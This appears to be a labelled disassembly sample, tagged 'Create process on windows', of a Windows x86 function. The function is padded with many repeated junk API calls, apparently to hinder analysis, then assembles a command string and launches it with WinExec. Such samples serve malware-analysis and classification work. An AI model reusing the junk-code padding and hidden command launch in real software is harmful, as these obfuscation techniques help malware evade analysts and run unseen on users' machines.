Function at 0x402744
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffff9f8
mov edi, eax
lea esi, [esp + 4]
xor ebx, ebx
mov eax, edi
call fcn.004026f0
cmp al, 1
jne 0x402b7c
push 4
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_RtlZeroMemory
push 0x402b88
push esi
call sub.kernel32.dll_lstrcmpA
push 0x402b88
push esi
call sub.kernel32.dll_lstrcmpiA
push 0
call sub.kernel32.dll_CloseHandle
push 1
call sub.kernel32.dll_Sleep
push 0
call sub.user32.dll_IsWindowEnabled
push 0x402b88
push esi
call sub.kernel32.dll_lstrcmpA
push 0
call sub.user32.dll_IsWindowEnabled
push 0
call sub.kernel32.dll_CloseHandle
push 0x402b88
push esi
call sub.kernel32.dll_lstrcmpiA
push 4
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_RtlZeroMemory
push 1
call sub.kernel32.dll_Sleep
push 0
call sub.kernel32.dll_CloseHandle
push esi
call sub.kernel32.dll_lstrlenA
call sub.user32.dll_GetForegroundWindow
push 0
call sub.kernel32.dll_CloseHandle
push 0
call sub.user32.dll_IsWindowEnabled
push 1
call sub.kernel32.dll_Sleep
push esi
call sub.kernel32.dll_lstrlenA
push 0
call sub.kernel32.dll_CloseHandle
push 0x402b88
push esi
call sub.kernel32.dll_lstrcmpiA
call sub.user32.dll_GetForegroundWindow
push 0x402b88
push esi
call sub.kernel32.dll_lstrcmpA
push esi
call sub.kernel32.dll_lstrlenA
call sub.user32.dll_GetForegroundWindow
push 4
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_RtlZeroMemory
push 1
call sub.kernel32.dll_Sleep
push 0x402b88
push esi
call sub.kernel32.dll_lstrcmpiA
push 0x402b88
push esi
call sub.kernel32.dll_lstrcmpA
call sub.user32.dll_GetForegroundWindow
push 4
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_RtlZeroMemory
push 0x402b88
push esi
call sub.kernel32.dll_lstrcmpiA
push esi
call sub.kernel32.dll_lstrlenA
push 1
call sub.kernel32.dll_Sleep
push 4
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_RtlZeroMemory
push 0
call sub.user32.dll_IsWindowEnabled
push esp
push 0x402b8c
push esi
call sub.user32.dll_wvsprintfA
push 0x402b88
push esi
call sub.kernel32.dll_lstrcmpA
push 0x402b88
push esi
call sub.kernel32.dll_lstrcpyA
push 0x402b88
push esi
call sub.kernel32.dll_lstrcatA
call sub.kernel32.dll_GetTickCount
push esi
call sub.kernel32.dll_lstrlenA
push 1
call sub.kernel32.dll_Sleep
push esp
push 0x402b8c
push esi
call sub.user32.dll_wvsprintfA
push 1
call sub.kernel32.dll_Sleep
call sub.user32.dll_GetForegroundWindow
push 4
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_RtlZeroMemory
push 1
call sub.kernel32.dll_Sleep
push 0x402b88
push esi
call sub.kernel32.dll_lstrcmpiA
push 0x402b88
push esi
call sub.kernel32.dll_lstrcmpA
call sub.user32.dll_GetForegroundWindow
push 4
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_RtlZeroMemory
push 0x402b88
push esi
call sub.kernel32.dll_lstrcmpiA
push esi
call sub.kernel32.dll_lstrlenA
push 1
call sub.kernel32.dll_Sleep
push 4
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_RtlZeroMemory
push 0
call sub.user32.dll_IsWindowEnabled
push esp
push 0x402b8c
push esi
call sub.user32.dll_wvsprintfA
push 0x402b88
push esi
call sub.kernel32.dll_lstrcmpA
push 0x402b88
push esi
call sub.kernel32.dll_lstrcpyA
push 0x402b88
push esi
call sub.kernel32.dll_lstrcatA
call sub.kernel32.dll_GetTickCount
push 0
call sub.user32.dll_IsWindowEnabled
push 0x402b90
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcmpiA
push esp
push 0x402b8c
push esi
call sub.user32.dll_wvsprintfA
push 4
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_RtlZeroMemory
call sub.user32.dll_GetForegroundWindow
push 4
lea eax, [esp + 4]
push eax
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_RtlMoveMemory
push 0x402b90
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcmpA
push 1
call sub.kernel32.dll_Sleep
push 4
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_RtlZeroMemory
push 0
call sub.user32.dll_IsWindowEnabled
push esp
push 0x402b8c
push esi
call sub.user32.dll_wvsprintfA
push 0x402b88
push esi
call sub.kernel32.dll_lstrcmpA
push 0x402b88
push esi
call sub.kernel32.dll_lstrcpyA
push 0x402b88
push esi
call sub.kernel32.dll_lstrcatA
call sub.kernel32.dll_GetTickCount
push 0
call sub.user32.dll_IsWindowEnabled
push 0x402b90
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcmpiA
push esp
push 0x402b8c
push esi
call sub.user32.dll_wvsprintfA
push 4
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_RtlZeroMemory
push 0x402b94
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_lstrcpyA
call sub.kernel32.dll_GetTickCount
mov dword [esp], eax
push esp
push 0x402b8c
push esi
call sub.user32.dll_wvsprintfA
push esi
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_lstrcatA
push 0x402b9c
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_lstrcatA
lea eax, [esp + 0x104]
call fcn.00402718
cmp al, 1
jne 0x402b7c
push 0x402ba4
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcpyA
push 0x402bb0
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x402bb8
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push edi
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x402bc4
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push edi
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x402bdc
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push edi
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x402bec
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0
push 1
lea eax, [esp + 0x210]
push eax
call sub.kernel32.dll_lstrlenA
mov ecx, eax
lea edx, [esp + 0x210]
lea eax, [esp + 0x10c]
call fcn.00402c2c
push 0
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_WinExec
mov bl, 1
mov eax, ebx
add esp, 0x608
pop edi
pop esi
pop ebx
ret